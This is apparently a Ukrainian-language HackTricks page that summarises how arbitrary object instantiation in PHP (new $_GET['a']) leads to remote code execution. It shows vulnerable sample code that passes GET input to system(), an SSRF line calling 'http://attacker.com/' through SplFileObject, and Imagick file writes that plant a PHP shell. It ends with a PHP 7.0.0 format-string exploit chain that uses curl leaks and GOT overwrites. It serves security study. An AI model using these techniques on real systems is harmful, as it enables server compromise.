8.7 KiB
PHP - RCE зловживання створенням об'єктів: new $_GET"a"
{{#include ../../../banners/hacktricks-training.md}}
Це, по суті, підсумок https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
Вступ
Створення нових довільних об'єктів, таких як new $_GET["a"]($_GET["a"])
, може призвести до Remote Code Execution (RCE), як детально описано в writeup. Цей документ висвітлює різні стратегії досягнення RCE.
RCE через користувацькі класи або автозавантаження
Синтаксис new $a($b)
використовується для інстанціювання об'єкта, де $a
представляє ім'я класу, а $b
— перший аргумент, переданий конструктору. Ці змінні можуть надходити з введення користувача, наприклад GET/POST, де вони можуть бути рядками або масивами, або з JSON, де вони можуть мати інші типи.
Розглянемо фрагмент коду нижче:
class App {
function __construct ($cmd) {
system($cmd);
}
}
class App2 {
function App2 ($cmd) {
system($cmd);
}
}
$a = $_GET['a'];
$b = $_GET['b'];
new $a($b);
У цьому випадку встановлення $a
в App
або App2
, а $b
— у системну команду (наприклад, uname -a
) призводить до виконання цієї команди.
Функції автозавантаження можуть бути використані, якщо такі класи безпосередньо недоступні. Ці функції автоматично завантажують класи з файлів за потреби і визначаються за допомогою spl_autoload_register
або __autoload
:
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});
function __autoload($class_name) {
include $class_name . '.php';
};
spl_autoload_register();
Поведінка автозавантаження змінюється залежно від версії PHP, що дає різні можливості для RCE.
RCE через вбудовані класи PHP
Якщо відсутні кастомні класи або автозавантажувачі, вбудованих класів PHP може бути достатньо для RCE. Кількість таких класів коливається від 100 до 200, залежно від версії PHP та встановлених розширень. Їх можна перелічити за допомогою get_declared_classes()
.
Конструктори, які становлять інтерес, можна визначити через Reflection API, як показано в наведеному прикладі та за посиланням https://3v4l.org/2JEGF.
RCE via specific methods includes:
SSRF + Phar Deserialization
Клас SplFileObject
дозволяє SSRF через свій конструктор, дозволяючи підключатися до будь-якого URL:
new SplFileObject('http://attacker.com/');
SSRF може призвести до атак десеріалізації в версіях PHP до 8.0 з використанням протоколу Phar.
Exploiting PDOs
Конструктор класу PDO дозволяє підключення до баз даних через DSN-рядки, потенційно дозволяючи створення файлів або інші взаємодії:
new PDO("sqlite:/tmp/test.txt")
SoapClient/SimpleXMLElement XXE
Версії PHP до 5.3.22 та 5.4.12 були вразливі до XXE-атак через конструктори SoapClient
та SimpleXMLElement
, залежно від версії libxml2.
RCE via Imagick Extension
Під час аналізу залежностей проєкту було виявлено, що Imagick
можна використати для виконання команд шляхом створення нових об'єктів. Це створює можливість експлуатації вразливостей.
VID parser
Виявлено, що VID parser може записувати вміст у будь-який вказаний шлях у файловій системі. Це може призвести до розміщення PHP shell
у веб-доступній директорії й досягнення Remote Code Execution (RCE).
VID Parser + File Upload
Зауважимо, що PHP тимчасово зберігає завантажені файли у /tmp/phpXXXXXX
. VID parser в Imagick
, використовуючи протокол msl
, може обробляти wildcard'и у шляхах до файлів, що дозволяє перемістити тимчасовий файл у вибране місце. Цей метод дає додатковий шлях для довільного запису файлів у файлову систему.
PHP Crash + Brute Force
Метод, описаний у original writeup, пов'язаний із завантаженням файлів, які викликають крах сервера до їх видалення. Брутфорсом імені тимчасового файлу Imagick
стає можливим виконати довільний PHP-код. Однак цей підхід виявився ефективним лише в застарілій версії ImageMagick
.
Format-string in class-name resolution (PHP 7.0.0 Bug #71105)
Коли ім'я класу контролюється введенням користувача (наприклад, new $_GET['model']()
), у PHP 7.0.0 під час рефакторингу Throwable
з'явився тимчасовий баг, коли рушій помилково трактував ім'я класу як printf format string під час резолюції. Це дозволяє класичні printf-style примітиви всередині PHP: leaks з %p
, контроль кількості записів через width specifiers, та довільні записи з %n
по in-process вказівниках (наприклад, GOT entries у ELF-білдах).
Мінімальний патерн відтворення вразливості:
<?php
$model = $_GET['model'];
$object = new $model();
Схема експлуатації (з посилання):
- Leak адреси через
%p
у імені класу, щоб знайти записувану ціль:
curl "http://host/index.php?model=%p-%p-%p"
# Fatal error includes resolved string with leaked pointers
- Використовуйте позиційні параметри та specifiers ширини для встановлення точної кількості байтів, потім
%n
щоб записати це значення в адресу, доступну на стеку, націлюючись на слот GOT (наприклад,free
) щоб частково перезаписати його наsystem
. - Спровокуйте виклик захопленої функції, передавши ім'я класу, що містить shell pipe, щоб потрапити в
system("id")
.
Примітки:
- Працює тільки на PHP 7.0.0 (Bug #71105); виправлено у наступних релізах. Критичність: критична при наявності довільної інстанціації класів.
- Типові payloads поєднують багато
%p
, щоб пройти стек, потім%.<width>d%<pos>$n
, щоб здійснити часткове перезаписування.
Посилання
- https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/
- The Art of PHP: CTF‑born exploits and techniques (https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../../banners/hacktricks-training.md}}